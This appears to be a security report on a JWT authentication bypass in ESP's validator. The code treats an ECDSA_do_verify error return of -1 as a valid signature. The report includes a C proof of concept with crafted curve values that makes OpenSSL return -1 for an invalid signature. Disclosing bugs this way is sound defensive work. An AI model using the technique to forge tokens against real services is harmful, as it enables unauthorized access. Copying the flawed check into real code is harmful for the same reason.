JWT authentication bypass

[guidovranken]

esp/src/api_manager/auth/lib/auth_jwt_validator.cc

Line 738 in 1a01fe7

if (ECDSA_do_verify(digest, SHA256_DIGEST_LENGTH, ecdsa_sig_, eck_) == 0) {

Here you are regarding a signature as invalid if ECDSA_do_verify returns 0, and valid otherwise. However it can also return -1 to indicate failure and your code would incorrectly interpret this as having passed verification.

The OpenSSL documentation states:

ECDSA_verify() and ECDSA_do_verify() return 1 for a valid signature, 0 for an invalid signature and -1 on error.

Proof of concept where ECDSA_do_verify returns not 0 but -1 for an invalid signature:

#include <openssl/ecdsa.h>
#include <openssl/obj_mac.h>

#define CF_CHECK_EQ(expr, res) if ( (expr) != (res) ) { goto end; }
#define CF_CHECK_NE(expr, res) if ( (expr) == (res) ) { goto end; }

int main(void)
{
    const unsigned char in[] = {0xb1, 0x7b, 0xe0, 0xb2, 0xc8, 0xd5, 0x50, 0xca, 0x00, 0x7a, 0x86, 0xd8, 0x09, 0xa0, 0x80, 0xa1,
        0xa8, 0x71, 0x0f, 0x82, 0xa6, 0x4f, 0xf1, 0xc3, 0xc7, 0x97, 0x38, 0x31, 0x0c, 0xfa, 0x68, 0x66};

    const char* X = "48439561293906451759052585252797914202762949526041747995844080717082404635286";
    const char* Y = "79657838253606452964112319029819691573475036742305299123656433055298683448842";
    const char* R = "80278247199408291128138009340546836914184311899201398846107929780761554217062";
    const char* S = "8179395565979411";
    EC_GROUP* group = NULL;
    EC_POINT* pub = NULL;
    ECDSA_SIG* signature = NULL;
    EC_KEY* key = NULL;
    BIGNUM *pub_x = NULL, *pub_y = NULL, *sig_r = NULL, *sig_s = NULL;

    CF_CHECK_NE(key = EC_KEY_new(), NULL);
    CF_CHECK_NE(group = EC_GROUP_new_by_curve_name(NID_X9_62_prime256v1), NULL);
    CF_CHECK_EQ(EC_KEY_set_group(key, group), 1);

    /* Signature */
    CF_CHECK_NE(signature = ECDSA_SIG_new(), NULL);
    CF_CHECK_NE(BN_dec2bn(&sig_r, R), 0);
    CF_CHECK_NE(BN_dec2bn(&sig_s, S), 0);
    CF_CHECK_EQ(ECDSA_SIG_set0(signature, sig_r, sig_s), 1);

    /* Key */
    CF_CHECK_NE(pub = EC_POINT_new(group), NULL);
    CF_CHECK_NE(BN_dec2bn(&pub_x, X), 0);
    CF_CHECK_NE(BN_dec2bn(&pub_y, Y), 0);
    CF_CHECK_NE(EC_POINT_set_affine_coordinates_GFp(group, pub, pub_x, pub_y, NULL), 0);
    CF_CHECK_EQ(EC_KEY_set_public_key(key, pub), 1);

    printf("Verify result: %d\n", ECDSA_do_verify(in, sizeof(in), signature, key));
end:
    return 0;
}

A specific (unhashed) message is passed to the verification function. It might be possible to craft an r, s such that EC_KEY_set_public_key will return -1 for any given (hashed) message. If that is the case, this breaks the entire security of this scheme. Whether that is the case depends on how ECC is implemented in OpenSSL, and this may vary from one version to the next.

This was tested using the current OpenSSL master branch on x64 Linux.